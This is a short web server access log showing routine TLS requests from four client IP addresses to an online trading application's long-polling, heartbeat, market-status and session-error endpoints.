[09/Jan/2026:10:05:27 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924596051 HTTP/1.1" -
[09/Jan/2026:10:05:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924598421 HTTP/1.1" -
[09/Jan/2026:10:05:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924601630 HTTP/1.1" -
[09/Jan/2026:10:05:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:05:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:05:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:05:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:05:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:05:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:05:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:05:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:05:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924616231 HTTP/1.1" -
[09/Jan/2026:10:05:33 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924602051 HTTP/1.1" -
[09/Jan/2026:10:05:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924603454 HTTP/1.1" -
[09/Jan/2026:10:05:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924606762 HTTP/1.1" -
[09/Jan/2026:10:05:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924622223 HTTP/1.1" -
[09/Jan/2026:10:05:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924608052 HTTP/1.1" -
[09/Jan/2026:10:05:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924608499 HTTP/1.1" -
[09/Jan/2026:10:05:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:05:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:05:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:05:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:05:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924611831 HTTP/1.1" -
[09/Jan/2026:10:05:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924613516 HTTP/1.1" -
[09/Jan/2026:10:05:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924628233 HTTP/1.1" -
[09/Jan/2026:10:05:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:05:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:05:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924617027 HTTP/1.1" -
[09/Jan/2026:10:05:45 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924614067 HTTP/1.1" -
[09/Jan/2026:10:05:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924618543 HTTP/1.1" -
[09/Jan/2026:10:05:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924634227 HTTP/1.1" -
[09/Jan/2026:10:05:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924622167 HTTP/1.1" -
[09/Jan/2026:10:05:51 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924620053 HTTP/1.1" -
[09/Jan/2026:10:05:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:05:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:05:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924623561 HTTP/1.1" -
[09/Jan/2026:10:05:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924627348 HTTP/1.1" -
[09/Jan/2026:10:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924640234 HTTP/1.1" -
[09/Jan/2026:10:05:57 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924626053 HTTP/1.1" -
[09/Jan/2026:10:05:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924628589 HTTP/1.1" -
[09/Jan/2026:10:06:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924632486 HTTP/1.1" -
[09/Jan/2026:10:06:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:06:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:06:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:06:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:06:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924646222 HTTP/1.1" -
[09/Jan/2026:10:06:03 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924632053 HTTP/1.1" -
[09/Jan/2026:10:06:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924633608 HTTP/1.1" -
[09/Jan/2026:10:06:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924637599 HTTP/1.1" -
[09/Jan/2026:10:06:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924652235 HTTP/1.1" -
[09/Jan/2026:10:06:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924638630 HTTP/1.1" -
[09/Jan/2026:10:06:09 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924638053 HTTP/1.1" -
[09/Jan/2026:10:06:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924642661 HTTP/1.1" -
[09/Jan/2026:10:06:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924643646 HTTP/1.1" -
[09/Jan/2026:10:06:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924658226 HTTP/1.1" -
[09/Jan/2026:10:06:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:06:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:06:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924644051 HTTP/1.1" -
[09/Jan/2026:10:06:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924647725 HTTP/1.1" -
[09/Jan/2026:10:06:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924648683 HTTP/1.1" -
[09/Jan/2026:10:06:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924664230 HTTP/1.1" -
[09/Jan/2026:10:06:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924652853 HTTP/1.1" -
[09/Jan/2026:10:06:21 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924650051 HTTP/1.1" -
[09/Jan/2026:10:06:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:06:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:06:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924653699 HTTP/1.1" -
[09/Jan/2026:10:06:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924657997 HTTP/1.1" -
[09/Jan/2026:10:06:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924670227 HTTP/1.1" -
[09/Jan/2026:10:06:27 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924656050 HTTP/1.1" -
[09/Jan/2026:10:06:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924658719 HTTP/1.1" -
[09/Jan/2026:10:06:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:06:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:06:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:06:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:06:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924663151 HTTP/1.1" -
[09/Jan/2026:10:06:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:06:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:06:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:06:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:06:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924676229 HTTP/1.1" -
[09/Jan/2026:10:06:33 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924662051 HTTP/1.1" -
[09/Jan/2026:10:06:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924663761 HTTP/1.1" -
[09/Jan/2026:10:06:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924668265 HTTP/1.1" -
[09/Jan/2026:10:06:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924682231 HTTP/1.1" -
[09/Jan/2026:10:06:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924668051 HTTP/1.1" -
[09/Jan/2026:10:06:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:06:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:06:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:06:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:06:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924668815 HTTP/1.1" -
[09/Jan/2026:10:06:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924673343 HTTP/1.1" -
[09/Jan/2026:10:06:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924688225 HTTP/1.1" -
[09/Jan/2026:10:06:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924673862 HTTP/1.1" -
